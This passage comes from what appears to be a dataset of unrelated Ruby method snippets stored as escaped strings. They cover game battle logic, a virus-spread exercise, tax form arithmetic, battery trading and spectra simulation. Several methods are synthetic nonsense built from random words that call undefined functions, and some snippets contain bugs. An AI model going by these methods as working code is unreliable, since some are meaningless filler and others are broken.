elsif vct <= 830 then\r\n energia = 2.0\r\n else\r\n energia = 3.0\r\n end\r\n if gei < 800 then\r\n carbono = 1.0\r\n elsif terrenos <= 1200 then\r\n carbono = 2.0\r\n else\r\n carbono = 3.0\r\n end\r\n huella = (energia + carbono)/2\r\n return huella\r\n \r\n end","def boatswain\n return self.swabbie unless self.swabbie.nil?\n highval = 0\n self.axe.each do |flotsam|\n counter = self.filibuster(flotsam)\n highval = ((highval <=> counter) == 1) ? highval : counter\n end\n \".#{highval + 1}\"\n end","def lose_energy\n @energy -= 1\n end","def preprovide_saily_kainsi(akamatsu_demoniacally)\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\n lid_polytonalism(pneumoenteritis_ribby)\n pricklefish(overdraft, phleboplasty_poleaxe)\n end","def geomancy_element_shift(rate)\n # absorb -> null\n if rate < 0\n return 0\n # null -> resist (half)\n elsif rate < 0.5\n return 0.5\n # resist (half) -> normal\n elsif rate < 1\n return 1\n # normal -> weak (double)\n elsif rate == 1\n return 2\n # weak -> absorb\n elsif rate > 1\n return -(rate-1)\n end\n end","def gain_relative_to_current\n -1+(post_heal / pre_heal)\n end","def irmonograsaslp\n vag=(valormonograsasp * 100) / 70\n vag.round(2)\n end","def goodVsEvil(good, evil)\n # good_power, evil_power = 0, 0\n # good.split.each_with_index do |num, i|\n # if i < 3\n # good_power += num.to_i * (i + 1)\n # elsif i < 5\n # good_power += num.to_i * i\n # elsif i == 5\n # good_power += num.to_i * 2 * i\n # end\n # end\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\n if i < 3\n sum + num.to_i * (i + 1)\n elsif i < 5\n sum + num.to_i * i\n elsif i == 5\n sum + num.to_i * 2 * i\n end\n end\n \n \n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\n case i\n when 0\n sum + num.to_i * (i + 1)\n when 1, 2, 3\n sum + num.to_i * 2\n when 4\n sum + num.to_i * (i - 1)\n when 5\n sum + num.to_i * i\n when 6\n sum + num.to_i * (i + 4) \n end\n end\n \n if evl > god\n str = \"Evil eradicates all trace of Good\"\n elsif evl < god\n str = \"Good triumphs over Evil\"\n else\n str = \"No victor on this battle field\"\n end\n \n \"Battle Result: #{str}\"\nend","def get_hitchances(fleet_array)\n if (fleet_array.length > 0 )\n total_tp = 0\n fleet_array.each do |a|\n total_tp = total_tp + a[-2]\n end\n fleet_array.each do |a|\n a[-1] = (a[-2].to_f/total_tp.to_f)\n end\n end\n end","def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def sittinae_hooey(scrawny_appulsion, termly)\n end","def compute_actual\n line[1] = @ho_form.line['sqft']\n line[2] = @ho_form.line['total_sqft']\n line[3] = (line[1] * 100.0 / line[2]).round(2)\n\n line['4/gross_inc'] = gross_income\n\n # We make a simplifying assumption that (1) every Home Office Expense\n # applies to every Home Office form, and (2) all expenses are indirect.\n categorize_records('Home Office Expense')\n #\n # We assume that the home office using the actual method is being rented and\n # thus there are no mortgage payments or such on it.\n #\n #fill_for_categories(self, '5b', 'Casualty_Losses')\n #fill_for_categories(self, '6b', 'Mortgage_Interest')\n #fill_for_categories(self, '7b', 'Real_Estate_Taxes')\n\n line['8b'] = sum_lines('5b', '6b', '7b')\n line[9] = (line['8b'] * line[3] / 100.0).round\n line[10] = line[9]\n\n line[11] = other_business_expenses\n\n line[12] = sum_lines(10, 11)\n line['13/ho_max_ded'] = line[4] - line[12]\n\n fill_for_categories(self, '16b', 'Insurance')\n fill_for_categories(self, '17b', 'Rent')\n fill_for_categories(self, '18b', 'Repairs')\n fill_for_categories(self, '19b', 'Utilities')\n fill_other_categories(\n self, '20b', continuation: 'Other Home Office Expenses'\n )\n line['21b'] = sum_lines(*%w(14b 15b 16b 17b 18b 19b 20b))\n line[22] = (line['21b'] * line[3] / 100.0).round\n\n # Assume no carryover for line 23\n line['24/ho_ded'] = sum_lines('21a', 22, 23)\n line[25] = [ line[13], line[24] ].min\n line[26] = line[13] - line[25]\n\n # Assume no casualty losses or depreciation for lines 27-29 and 33\n line[30] = sum_lines(27, 28, 29)\n line[31] = [ line[26], line[30] ].min\n line[32] = sum_lines(10, 25, 31)\n\n line[33] = BlankZero\n line['34/ho_expenses'] = line[32] - line[33]\n\n end","def buy_power_3 d0, d1, s0, s1\n next_condition = @battery - (d0 - s0) - (d1 - s1) # 未来の条件式\n crnt_condition = @battery - (d0 - s0) # 現在の条件式\n result = 0.0 # 結果値\n\n if crnt_condition < @target # 現時点で目標値よりバッテリー残量が少ないとき\n if next_condition < @target # 次の時刻でも目標値が達成できないとき\n # 達成できなくなる分の電力を買っておく\n if @target - next_condition > 500.0 # １５分に受け取れる電力量は500wと想定する\n result = 500.0\n else\n result = @target - next_condition\n end\n # 買った分で最大容量を超えてしまったときは超えないようにする\n next_battery = crnt_condition + result # 次の時刻でのバッテリー残量予測\n result = next_battery > @max_strage ? result - (next_battery - @max_strage) : result\n else # 次の時刻では目標値が達成できるとき\n # 買わない 売るかどうかは保留したほうがいい？ただし0にはしないようにする\n result = 1.0 if crnt_condition == 0.0\n sell_power_2\n end\n else # 現時点では目標値は達成しているとき\n if next_condition < @target # 次の時刻で目標値が達成できない\n # 達成できなくなる分の電力を買っておく\n if @target - next_condition > 500.0 # １５分に受け取れる電力量は500wと想定する\n result = 500.0\n else\n result = @target - next_condition\n end\n next_battery = crnt_condition + result # 次の時刻でのバッテリー残量予測\n result = next_battery > @max_strage ? result - (next_battery - @max_strage) : result\n else # 次の時刻でも目標値が達成できるとき\n # Don't buy power.\n # むしろ売る\n sell_power_2\n end\n end\n @battery = crnt_condition + result # バッテリー残量の状態遷移\n @battery = @max_strage if @battery > @max_strage\n return result\n end","def enter_infertility\n @infertility = @p_o_i\n end","def update_exp_gain()\n if !@complete\n total_remaining = 0\n \n for i in 0 .. $game_party.members.size-1\n actor = $game_party.members[i]\n actor_exp = @actor_remaining_exp[i]\n \n if actor.dead? && !VICTORY_CONFIG::EXP_ON_DEATH\n actor_exp.remaining_exp = 0\n end\n \n total_remaining += actor_exp.remaining_exp\n \n if actor_exp.remaining_exp > 0\n last_level = actor.level\n last_skills = actor.skills\n \n if !@skipped\n \n if actor_exp.remaining_exp > actor_exp.tick_exp\n \n if actor_exp.tick_exp > actor.needed_exp && actor.needed_exp > 0\n \n exp_to_gain = actor.needed_exp\n \n else\n \n exp_to_gain = actor_exp.tick_exp\n \n end\n \n else\n \n exp_to_gain = actor_exp.remaining_exp\n \n end\n \n actor.gain_exp(exp_to_gain, false)\n actor_exp.remaining_exp -= exp_to_gain\n else\n actor.gain_exp(actor_exp.remaining_exp, false)\n actor_exp.remaining_exp = 0\n end\n \n @victory_char_info_windows[i].window_update(actor)\n \n if actor.level > last_level\n actor_exp.tick_exp = determine_tick(actor.next_exp, actor_exp.remaining_exp)\n \n @victory_level_up_windows[i].visible = true\n Sound.play_level_up_se\n wait(30)\n @victory_level_up_windows[i].visible = false\n end\n new_skills = actor.skills - last_skills\n for skill in new_skills\n @victory_new_skill_windows[i].window_update(skill)\n @victory_new_skill_windows[i].visible = true\n Sound.play_new_skill_se\n wait(30)\n @victory_new_skill_windows[i].visible = false\n end\n end\n end\n \n if total_remaining == 0\n @complete = true\n end\n end\n end","def king_richard_iii; end","def vexflow\n bars = []\n self.bars.times do |i|\n # assume 3 voices max\n voices = []\n voice1 = []\n voice2 = []\n voice3 = []\n\n # buffer for excess notes\n overflow1 = []\n overflow2 = []\n\n # voice1\n self.notes.where(:bar => i).select('beat, duration').distinct.order('beat ASC').each do |n|\n if !voice1.empty?\n if voice1.last[0].end_beat < n.beat # fill in gap\n # voice1 << [{:duration => n.beat - voice1.last[0].end_beat, :drum => -1}]\n voice1.last.each do |m|\n m.assign_attributes({ :duration => n.beat - m.beat })\n end\n elsif voice1.last[0].end_beat > n.beat # overlap\n overflow_notes << n\n next\n end\n else # leading rest\n if n.beat != 0\n voice1 << [{:duration => n.beat, :drum => -1}]\n end\n end\n voice1 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\n end\n\n # overflow => voice2\n overflow1.each do |n|\n if !voice2.empty?\n if voice2.last[0].end_beat < n.beat # fill in gap\n # voice2 << [{:duration => n.beat - voice2.last[0].end_beat, :drum => -1}]\n voice2.last.each do |m|\n m.assign_attributes({ :duration => n.beat - m.beat })\n end\n elsif voice2.last[0].end_beat > n.beat # overlap\n overflow2 << n\n next\n end\n else # leading rest\n if n.beat != 0\n voice2 << [{:duration => n.beat, :drum => -1}]\n end\n end\n voice2 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\n end\n\n # overflow2 => voice3\n overflow2.each do |n|\n if !voice3.empty?\n if voice3.last[0].end_beat < n.beat # fill in gap\n # voice3 << [{:duration => n.beat - voice3.last[0].end_beat, :drum => -1}]\n voice3.last.each do |m|\n m.assign_attributes({ :duration => n.beat - m.beat })\n end\n elsif voice3.last[0].end_beat > n.beat # overlap\n overflow2 << n\n next\n end\n else # leading rest\n if n.beat != 0\n voice3 << [{:duration => n.beat, :drum => -1}]\n end\n end\n voice3 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\n end\n\n # add trailing rests\n if voice1.any? && voice1.last[0].end_beat != self.meter_bottom\n extraRests = []\n voice1.last.each do |m|\n if self.meter_bottom - m.beat > 1\n m.assign_attributes({ :duration => 1 })\n extraRests[0] = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\n else\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\n end\n end\n if extraRests.any?\n voice1 << extraRests\n end\n # voice1 << [{:duration => self.meter_bottom - voice1.last[0].end_beat, :drum => -1}]\n end\n if voice2.any? && voice2.last[0].end_beat != self.meter_bottom\n extraRests = []\n voice2.last.each do |m|\n if self.meter_bottom - m.beat > 1\n m.assign_attributes({ :duration => 1 })\n extraRests[0] = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\n else\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\n end\n end\n if extraRests.any?\n voice2 << extraRests\n end\n # voice2 << [{:duration => self.meter_bottom - voice2.last[0].end_beat, :drum => -1}]\n end\n if voice3.any? && voice3.last[0].end_beat != self.meter_bottom\n extraRests = []\n voice3.last.each do |m|\n if self.meter_bottom - m.beat > 1\n m.assign_attributes({ :duration => 1 })\n extraRests = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\n else\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\n end\n end\n if extraRests.any?\n voice3 << extraRests\n end\n # voice3 << [{:duration => self.meter_bottom - voice3.last[0].end_beat, :drum => -1}]\n end\n\n # full measure rest\n if voice1.empty?\n voice1 << [{:duration => self.meter_bottom, :drum => -1}]\n end\n\n # add any voices to bar\n voices << voice1\n if voice2.any?\n voices << voice2\n end\n if voice3.any?\n voices << voice3\n end\n bars << voices\n end\n\n return bars\n end","def neuer_Apfel(wegx=-1,wegy=-1)\n if (wegx>=0)\n @aepfel.delete([wegx,wegy])\n end\n x,y = 0,0\n begin\n ok = true\n x,y = rand(@x-2)+1, rand(@y-2)+1\n for a in -1..1\n for b in -1..1\n art,timer = @feld[x+a,y+b]\n if (art != 0)\n ok = false\n end\n end\n end\n end until ok\n @feld.set_element(x,y,-2,0)\n @aepfel += [[x,y]]\n @numapf += 1\n end","def reduce_solved\n before = 9*9*9\n after = entropy\n while before > after\n before = after\n reduce_line\n reduce_col\n reduce_grid\n after = entropy\n end\n self\n end","def cog\n @cog * unanticipated_adjustment_factor\nend","def on_the_offensive(brd)\n attack = []\n WINNING_LINES.each do |line|\n current_line = brd.values_at(*line)\n if current_line.count(COMPUTER_MARKER) == 2\n attack = line\n end\n attack # returns array that is the best attack vector\nend\n\ndef determine_threat(brd)\n threat_line = []\n WINNING_LINES.each do |line|\n current_line = brd.values_at(*line)\n if current_line.any?(COMPUTER_MARKER)\n next\n elsif current_line.count(PLAYER_MARKER) == 2\n threat_line = line\n end\n end\n threat_line\nend","def surge; end","def how_high(energy)\n energy * energy\nend","def full_recalc\r\n # # # # # # # # # \r\n print \"(FULL RECALC)\\n\"\r\n @hub_diam = bearing_outside_diam + (wall_thick * 0.8)\r\n \r\n @amount_lopside = wheel_diam * lopside_percent\r\n @floor_thick = @wall_thick * 1 \r\n @mount_bolt_thread_diam = @mount_bolts_diam * 0.85\r\n @mount_bolt_length = @stock_z_len + 0.05\r\n @cut_off_allowance = @mill.bit_diam\r\n print \"(hub_diam=\", @hub_diam, \")\\n\"\r\n recalc()\r\n end","def weighIntrade()\n\n end","def virus_effects #looks DRY but not using the full scope of the variables \r\n predicted_deaths\r\n speed_of_spread\r\n end","def battler_hue\n return 0\n end","def passive_voice_indicative_mood_imperfect_tense\n end","def active_voice_indicative_mood_imperfect_tense\n end","def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end","def zrdo\n\n # we seed a good b and keep estimating up\n b = 120\n prevb = 21\n\n calcb = 0\n while prevb < 10 ** 12 do\n\n # this part will find us the next good b\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\n while calcb.round != calcb do\n b += 1\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\n end\n\n c = b\n # this is our estimation phase... since b / prevb\n # approaches a limit, i think it is quite accurate\n b = (b**2 / prevb.to_f).floor\n prevb = c\n # prevb directly correlates to calcb at this point,\n # that is why we have while prevb < 10**12\n end\n 1/2.0 + calcb / 2.0\nend","def item_effect_recovery(item)\r\n recover_hp = maxhp * item.recover_hp_rate / 100 + item.recover_hp\r\n recover_sp = maxsp * item.recover_sp_rate / 100 + item.recover_sp\r\n if recover_hp < 0\r\n recover_hp += self.pdef * item.pdef_f / 20\r\n recover_hp += self.mdef * item.mdef_f / 20\r\n recover_hp = [recover_hp, 0].min\r\n end\r\n return recover_hp, recover_sp\r\n end","def reduce_HP\n @points -= 10\n end","def elv_kicklee\n atk > dfe\n end","def all_judge\n #defensive check for rappers in the stage\n unless self.stage.is_full\n raise \"stage must be full to make everyone a judge\"\n end\n # makes the booth seats point to the audience\n @audience.all_judge # method in the audience class that makes everyone a judge\n @booth.booth_seats = @audience.seating #might need to add them all to queue foirst, hopefuly this way of skipping that doesnt cause issues\n end","def ir_hidratos \n\t\t@hidratos_ir = hidratos\n\t\t@ir_hidratos = (@hidratos_ir/260.to_f)*100\n\t\t@ir_hidratos.round(1)\n\tend","def archipin(unpicturability)\n spousage_fraid(maunge, prodigiously, digitaria)\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\n heteropodous_inrun_synthete()\n end","def ballsbowled\n 6 * overs.floor(0) + (overs - overs.floor(0)) * 10\n end","def irpolialcoholesp\n vag=(valorpolialcoholesp * 100) / 90\n vag.round(2)\n end","def goodVsEvil(good, evil)\n good_pwr = [1, 2, 3, 3, 4, 10]\n evil_pwr = [1, 2, 2, 2, 3, 5, 10]\n good = good.split.map(&:to_i)\n evil = evil.split.map(&:to_i)\n\n good = good.map!.with_index { |num, idx| num * good_pwr[idx] }.reduce(:+)\n evil = evil.map!.with_index { |num, idx| num * evil_pwr[idx] }.reduce(:+)\n if good > evil\n 'Battle Result: Good triumphs over Evil'\n elsif evil > good\n 'Battle Result: Evil eradicates all trace of Good'\n elsif evil == good\n 'Battle Result: No victor on this battle field'\n end\nend","def og_prediction\n (1 + (0.035 * @efficiency * @grist_weight / @batch_volume)).round(3)\n end","def virus_effects\n predicted_deaths \n speed_of_spread \n end","def virus_effects\n predicted_deaths \n speed_of_spread \n end","def water_level\n end","def water_level\n end","def _hensel_lift(g0, f0, _char, height, where)\n # self in MPolynomial/ZorZp\n # g0 in Polyomial/ZorZp, candidate of factor of f0\n # f0 in Polyomial/ZoZzp, one variable reduction of self\n\n ring = self.class\n ring_one = g0.class\n\n h0, r0 = f0.divmod g0\n raise 'each_product does not work well' unless r0.zero?\n\n # where = 0\n ary = [g0, h0]\n cofacts = mk_cofacts(ary)\n fk = ary.collect { |fx| fx.value_on_one(ring, where) } # MPolynomial\n\n height.times do |k|\n c = self - fk[0] * fk[1]\n h = c.annihilate_away_from(where, k + 1)\n h_alpha0 = h.collect_away_from(where, ring_one) # Hash: ind0=>Polynomial\n h_alpha = {}\n\n h_alpha0.each do |ind, ha|\n h_alpha[ind] = yield(ha, ary, cofacts)\n end\n\n hias = ary.collect { {} }\n h_alpha.each do |ind, ha_i|\n ha_i.each_with_index do |fx, i|\n next if fx.zero?\n hias[i][ind] = fx\n end\n end\n\n hi = hias.collect do |hia|\n e = ring.zero\n hia.each do |ind, fx|\n e += ring.monomial(ind) * fx.value_on_one(ring, where)\n end\n e\n end\n fk_new = []\n hi.each_with_index do |fx, i|\n fk_new.push fk[i] + fx\n end\n fk = fk_new\n end\n fk\n end","def huella\n\t\tindice1 = 0\n\t\t#dependiendo del vct de cada ingrediente, se le pone un indice\n\t\tif vct < 670\n\t\t\tindice1 = 1\n\t\t\t\n\t\telsif vct > 830\n\t\t\tindice1 = 3\n\t\telse \n\t\t\tindice1 = 2\n\t\tend \n\t\tindice2 = 0\n\t\t#dependiendo de los gases emitidos de cada ingrediente, \n\t\t#se le pone un indice\n\t\tif emisiones < 800\n\t\t\tindice2 = 1\n\t\telsif emisiones > 1200\n\t\t\tindice2 = 3\n\t\telse \n\t\t\tindice2 = 2\n\t\tend\n\t\t#hace la media de los indices sacados\n\t\tindiceres = (indice1+indice2)/2\n\t\t\n\n\tend","def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end","def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end","def play_round(heaps)\n [-1, -1]\n end","def lax_friedrichs\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\n alpha = @a*@dt/@dx\n 0.upto(@mt-2) do |n|\n @u[n+1] = (1.upto(@mx-3)).to_a\n @u[n+1].map! { |j| 0.5*(@u[n][j+1]+u[n][j-1])-0.5*alpha*(@u[n][j+1]-@u[n][j-1]) }\n @u[n+1].unshift 0.5*(@u[n][1]+u[n][@mx-2])-0.5*alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\n @u[n+1].push 0.5*(@u[n][0]+u[n][@mx-3])-0.5*alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\n @u[n+1].push @u[n+1][0] # periodic BC\n end\n end","def sweep_stairs\n turn_off\n end","def update_backstage (item)\n if item.sell_in < 11 && item.sell_in > 5\n update_quality_value(item, 2)\n elsif item.sell_in < 6 && item.sell_in > 0\n update_quality_value(item, 3)\n elsif item.sell_in > 0\n update_quality_value(item, 1)\n end\n end","def virus_effects\n predicted_deaths + speed_of_spread\n end","def predicted_deaths\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n \n def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n num = 0.4\n # number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n num = 0.3\n elsif @population_density >= 100\n num = 0.2\n elsif @population_density >= 50\n num = 0.1\n else\n num = 0.5\n end\n number_of_deaths = (@population * num + 1).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end\n #formula by population density that predicts the rate of spread of virus by state pop. \n def speed_of_spread#in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end\n\nend","def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n#we can remove this and have it print within virus_effects so that this method does one thing\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end","def mill_motor_housing\r\n # # # # # # # # #\r\n end","def ukp5(ukpi, return_used_items = false)\n n = ukpi[:n]\n c = ukpi[:c]\n items = ukpi[:items].clone\n\n max_w = items.max_by { | i | i[:w] }[:w]\n g = Array.new(c+max_w+1, 0)\n d = Array.new(c+max_w+1, n-1)\n sort_items_by_profitability!(items)\n\n last_y_where_nonbest_item_was_used = 0\n items.each_with_index do | it, ix |\n wi = it[:w]\n pi = it[:p]\n if g[wi] < pi then\n g[wi] = pi\n d[wi] = ix\n last_y_where_nonbest_item_was_used = wi if wi > last_y_where_nonbest_item_was_used && ix != 0\n end\n end\n\n opt = 0\n (1..(c-1)).each do | y |\n next if g[y] <= opt\n break if last_y_where_nonbest_item_was_used < y\n\n opt = gy = g[y]\n dy = d[y]\n\n # this block is a copy-past of the loop bellow only for the best item\n bi = items[0]\n pb = bi[:p]\n wb = bi[:w]\n next_y = y + wb\n old_gny = g[next_y]\n new_gny = gy + pb\n if old_gny < new_gny then\n g[next_y] = new_gny\n d[next_y] = 0\n end\n\n (1..dy).each do | ix |\n it = items[ix]\n pi = it[:p]\n wi = it[:w]\n ny = y + wi\n ogny = g[ny]\n ngny = gy + pi\n if ogny < ngny then\n g[ny] = ngny\n d[ny] = ix\n last_y_where_nonbest_item_was_used = ny if ny > last_y_where_nonbest_item_was_used\n end\n end\n end\n\n if last_y_where_nonbest_item_was_used < c-1 then\n y_ = last_y_where_nonbest_item_was_used\n while d[y_] != 0 do\n y_ += 1\n end\n# puts \"Periodicity used - c: #{c}; last_y: #{y_}\"\n\n extra_capacity = c - y_\n c1, a1 = items[0][:p], items[0][:w]\n qt_best_item_used = Rational(extra_capacity, a1).ceil\n space_used_by_best_item = qt_best_item_used*a1\n profit_generated_by_best_item = qt_best_item_used*c1\n\n opt_y = get_opt_y(c-space_used_by_best_item, items, g, d)\n g[c] = g[opt_y] + profit_generated_by_best_item\n end\n\n opt = g[c] if opt < g[c]\n\n if return_used_items then\n g.slice!(c+1, max_w)\n d.slice!(c+1, max_w)\n opt_y = get_opt_y(c, items, g, d)\n get_used_items_for_y(opt_y, items, g, d)\n else\n opt\n end\nend","def high_five; end","def getInts(pep)\n rt_helper = RetentionTime::Helper\n pep_id = pep[0]\n p_int = pep[7] + rt_helper.RandomFloat(-5,2)\n if p_int > 10\n p_int -= 10\n end\n predicted_int = (p_int * 10**-1) * 14183000.0 \n low = 0.1*predicted_int\n relative_ints = (@db.execute \"SELECT ints FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n core_mzs = (@db.execute \"SELECT mzs FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n avg = pep[5] #p_rt\n\n sampling_rate = @opts[:sampling_rate].to_f\n wobA = Distribution::Normal.rng(@opts[:wobA].to_f,0.0114199604).call #0.0014199604 is the standard deviation from Hek_cells_100904050914 file\n wobB = Distribution::Normal.rng(@opts[:wobB].to_f,0.01740082).call #1.20280082 is the standard deviation from Hek_cells_100904050914 file\n tail = Distribution::Normal.rng(@opts[:tail].to_f,0.018667495).call #0.258667495 is the standard deviation from Hek_cells_100904050914 file\n front = Distribution::Normal.rng(@opts[:front].to_f,0.01466692).call #4.83466692 is the standard deviation from Hek_cells_100904050914 file\n # These number didn't work. May need to get more samples or figure something else out. For now this will give us some\n # meta variance in any case\n mu = @opts[:mu].to_f\n\n index = 0\n sx = pep[9]\n sy = (sx**-1) * Math.sqrt(pep[8]) #abu\n\n shuff = rt_helper.RandomFloat(0.05,1.0)\n core_mzs.each_with_index do |mzmu,core_idx|\n\n relative_abundances_int = relative_ints[index]\n\n t_index = 1\n\n (Mspire::Simulator::Spectra::r_times[pep[10]..pep[11]]).each_with_index do |rt,i| \n\n\n if !@one_d\n #-------------Tailing-------------------------\n shape = (tail * (t_index / sx)) + front\n int = (rt_helper.gaussian((t_index / sx) ,mu ,shape,100.0))\n t_index += 1\n #---------------------------------------------\n\n else\n #-----------Random 1d data--------------------\n int = (relative_abundances_int * ints_factor) * shuff\n #---------------------------------------------\n end\n\n if int < 0.01\n int = rt_helper.RandomFloat(0.001,0.4)\n end\n\n=begin\n if !@one_d\n #-------------M/Z Peak shape (Profile?)-------\n fraction = rt_helper.gaussian(fin_mzs[i],mzmu,0.05,1)\n factor = fraction/1.0\n fin_ints[i] = fin_ints[i] * factor\n #---------------------------------------------\n end\n=end\t \n\n if int > 0.4\n #-------------Jagged-ness---------------------\n sd = (@opts[:jagA] * (1-Math.exp(-(@opts[:jagC]) * int)) + @opts[:jagB])/2\n diff = (Distribution::Normal.rng(0,sd).call)\n int += diff\n #---------------------------------------------\n end\n\n #-------------mz wobble-----------------------\n wobble_mz = nil\n if int > 0\n wobble_int = wobA*int**wobB\n wobble_mz = Distribution::Normal.rng(mzmu,wobble_int).call\n if wobble_mz < 0\n wobble_mz = 0.01\n end\n end\n #---------------------------------------------\n\n\n int = int*(predicted_int*(relative_abundances_int*10**-2)) * sy\n if int > low.abs and wobble_mz > 0\n @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL,#{core_idx})\"\n# @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL)\"\n @cent_id += 1\n if @max_mz < wobble_mz\n @max_mz = wobble_mz\n end\n end\n end\n index += 1\n end\n end","def virus_effects\n predicted_deaths \n speed_of_spread\n end","def vertical_growth(uncovered_pairs,current_F)\r\n\t\tcurrent_F = current_F\r\n\t\ttPrime = []\r\n\t\t#scan every run\r\n\t\tuncovered_pairs.each do |u_pair|\r\n\t\t\t#calculate the index of the factor whose value doesn't form any pair with the factor under observation within the preexistent runs\r\n\t\t\tuncovered_F = u_pair[0][0].ord - 97\r\n\t\t\t#use the flag to indicate if the pair has been covered\r\n\t\t\tflag = false\r\n\t\t\t#scan every preexistent run\r\n\t\t\t@runs.each do |run|\r\n\t\t\t\t#if the run contains a placeholder to indicate the absence of a value where a value of the factor with index uncovered_F should be, overwrite the placeholder with the uncovered value\r\n\t\t\t\ttemp = run.dup\r\n\t\t\t\ttemp[uncovered_F] = u_pair[0]\r\n\t\t\t\tif run[uncovered_F].nil? && !pairs_for_run(temp).any? {|p| @infeasible_pairs.include? p}\r\n\t\t\t\t\trun[uncovered_F] = u_pair[0]\r\n\t\t\t\t\t#indicate that the pair is covered and break the loop\r\n\t\t\t\t\tflag = true\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\t#if no placeholder was found create a new run\r\n\t\t\tif !flag\r\n\t\t\t\ttemp = []\r\n\t\t\t\t0.upto(current_F-1) do |j|\r\n\t\t\t\t\t#use placeholders for values belonging to factors different from the one whose value isn't covered (uncovered_F)\r\n\t\t\t\t\tif j != uncovered_F\r\n\t\t\t\t\t\ttemp << nil\r\n\t\t\t\t\t#save the value needing coverage\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\ttemp << u_pair[0]\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t#append the second value of the uncovered pair, that belongs to the factor under observation (current_F)\r\n\t\t\t\ttemp << u_pair[1]\r\n\t\t\t\t#add the run obtained to the set of runs\r\n\t\t\t\ttPrime << temp\r\n\t\t\tend\r\n\t\tend\r\n\t\t#\r\n\t\t#replace each placeholder with a value of the corresponding factor selected in random fashion but respecting the constraints on infeasible pairs\r\n\t\t#\r\n\t\t#for each run obtained in the previous step\r\n\t\ttPrime.each do |run|\r\n\t\t\t#for each level of the run\r\n\t\t\trun.each_with_index do |val,index|\r\n\t\t\t\t#if the value is nil\r\n\t\t\t\tif run[index].nil?\r\n\t\t\t\t\t#create a copy of the run\r\n\t\t\t\t\ttemp = run.dup\r\n\t\t\t\t\t#generate a random index in the range that goes from zero to the number of levels of the factor - 1\r\n\t\t\t\t\ti = rand(0...@parameters[index].no_levels)\r\n\t\t\t\t\t#store this index\r\n\t\t\t\t\tj = i\r\n\t\t\t\t\tloop do\r\n\t\t\t\t\t\t#check if the level at index j is a valid one in the sense that doesn't form infeasible pairs\r\n\t\t\t\t\t\ttemp[index] = @parameters[index].values[j]\r\n\t\t\t\t\t\t#if it's valid stop the search\r\n\t\t\t\t\t\tbreak unless pairs_for_run(temp).any? {|p| @infeasible_pairs.include? p}\r\n\t\t\t\t\t\t#tries next level\r\n\t\t\t\t\t\tj+=1\r\n\t\t\t\t\t\t#if it reaches the last level of the factor restart from the first level in a circular fashion\r\n\t\t\t\t\t\tj = 0 if j == @parameters[index].no_levels\r\n\t\t\t\t\t\t#if no level is valid raise an exception\r\n\t\t\t\t\t\traise ArgumentError,\"The input provided doesn't allow the creation of valid runs(raised in vertical_growth)\" if j == i\r\n\t\t\t\t\tend\r\n\t\t\t\t\t#save the level thus obtained\r\n\t\t\t\t\trun[index] = temp[index]\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\t\t#return the runs obtained by the Vertical_Growth method\r\n\t\ttPrime\r\n\tend","def gear_inches\n #... some complex code\n foo = some_intermediate_result * ratio * wheel.diameter\n # ...some complex code\n end","def improve_teams\n @teams = 